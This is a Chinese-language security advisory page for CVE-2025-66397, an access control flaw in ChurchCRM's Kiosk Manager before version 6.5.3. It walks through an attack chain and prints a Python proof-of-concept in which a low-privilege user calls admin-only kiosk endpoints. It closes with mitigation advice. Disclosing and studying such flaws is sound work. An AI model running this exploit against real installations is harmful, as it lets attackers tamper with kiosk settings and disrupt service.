IPBUF安全漏洞报告
English
CVE-2025-66397 CVSS 8.3 高危

CVE-2025-66397 ChurchCRM Kiosk Manager访问控制缺陷漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-66397
漏洞类型
访问控制缺陷 (Broken Access Control)
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
ChurchCRM

相关标签

访问控制缺陷Broken Access ControlChurchCRMKiosk Manager权限绕过CVE-2025-66397高危漏洞

漏洞概述

ChurchCRM是一款开源的教堂管理系统。在6.5.3版本之前,Kiosk Manager功能中的allowRegistration、acceptKiosk、reloadKiosk和identifyKiosk函数存在严重的访问控制缺陷。该漏洞允许任何经过身份认证的低权限用户执行原本仅限管理员操作的Kiosk Manager功能,包括允许和接受 kiosk 注册、执行 kiosk 重载和识别操作。攻击者只需拥有一个普通用户账户即可利用此漏洞,可能导致系统配置被恶意篡改、敏感信息泄露或服务可用性受影响。由于该漏洞利用无需特殊权限且无需用户交互,对使用受影响版本ChurchCRM的组织构成较高的安全风险。

技术细节

该漏洞属于OWASP Top 10中的访问控制失效类别。ChurchCRM的Kiosk Manager功能在实现时未对关键操作进行充分的权限验证。具体来说,以下API端点存在访问控制缺陷:allowRegistration用于允许kiosk注册、acceptKiosk用于接受kiosk连接、reloadKiosk用于重载kiosk设备、identifyKiosk用于识别kiosk设备。这些功能在设计时假设用户已经过管理员权限验证,但实际实现中仅检查了用户是否已登录系统。攻击者可以通过构造特定的HTTP请求,直接调用这些管理员级别的API,而无需具备相应的管理员权限。攻击者利用此漏洞可以:1) 启用kiosk注册功能并接受恶意设备连接;2) 重载正在运行的kiosk设备导致服务中断;3) 触发kiosk识别操作可能用于社会工程攻击。CVSS 3.1评分8.3(高危)反映了该漏洞网络可利用性、低攻击复杂度和较高的完整性及可用性影响。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标网站使用ChurchCRM系统,并通过版本探测确认版本低于6.5.3
STEP 2
获取低权限账户
攻击者通过注册功能或社会工程手段获取一个普通用户账户,该账户仅需登录验证
STEP 3
身份认证
使用获取的凭据登录ChurchCRM系统,获取有效的会话cookie
STEP 4
构造恶意请求
攻击者构造针对Kiosk Manager API的HTTP请求,包括allowRegistration、acceptKiosk、reloadKiosk、identifyKiosk等端点
STEP 5
利用访问控制缺陷
发送恶意请求到管理员专属API,由于系统未验证权限,攻击请求被执行
STEP 6
实现攻击目标
根据攻击目的,可能实现:启用恶意kiosk注册、重载kiosk导致DoS、或进行社会工程攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66397 PoC - ChurchCRM Kiosk Manager Broken Access Control # Affected versions: ChurchCRM < 6.5.3 import requests import json TARGET_URL = "http://target-churchcrm.com" USERNAME = "attacker" PASSWORD = "password123" session = requests.Session() # Step 1: Login as low-privilege user login_url = f"{TARGET_URL}/session/login" login_data = { "UserName": USERNAME, "Password": PASSWORD } response = session.post(login_url, data=login_data) print(f"Login status: {response.status_code}") # Step 2: Enable Kiosk Registration (requires only authenticated user) enable_kiosk_url = f"{TARGET_URL}/api/kiosk/allowRegistration" response = session.post(enable_kiosk_url, json={"enable": True}) print(f"Enable Kiosk Registration: {response.status_code}") print(f"Response: {response.text}") # Step 3: Accept Kiosk (admin-only function) accept_kiosk_url = f"{TARGET_URL}/api/kiosk/acceptKiosk" response = session.post(accept_kiosk_url, json={"kioskId": 1}) print(f"Accept Kiosk: {response.status_code}") # Step 4: Reload Kiosk (admin-only function) reload_kiosk_url = f"{TARGET_URL}/api/kiosk/reloadKiosk" response = session.post(reload_kiosk_url, json={"kioskId": 1}) print(f"Reload Kiosk: {response.status_code}") # Step 5: Identify Kiosk (admin-only function) identify_kiosk_url = f"{TARGET_URL}/api/kiosk/identifyKiosk" response = session.post(identify_kiosk_url, json={"kioskId": 1}) print(f"Identify Kiosk: {response.status_code}") print("\n[!] If all requests returned 200 OK, the vulnerability is confirmed!")

影响范围

ChurchCRM < 6.5.3

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web服务器(如nginx/Apache)对Kiosk Manager相关API路径(/api/kiosk/*)进行访问限制,仅允许管理员IP访问。同时建议监控审计日志,排查是否存在未授权的kiosk操作记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表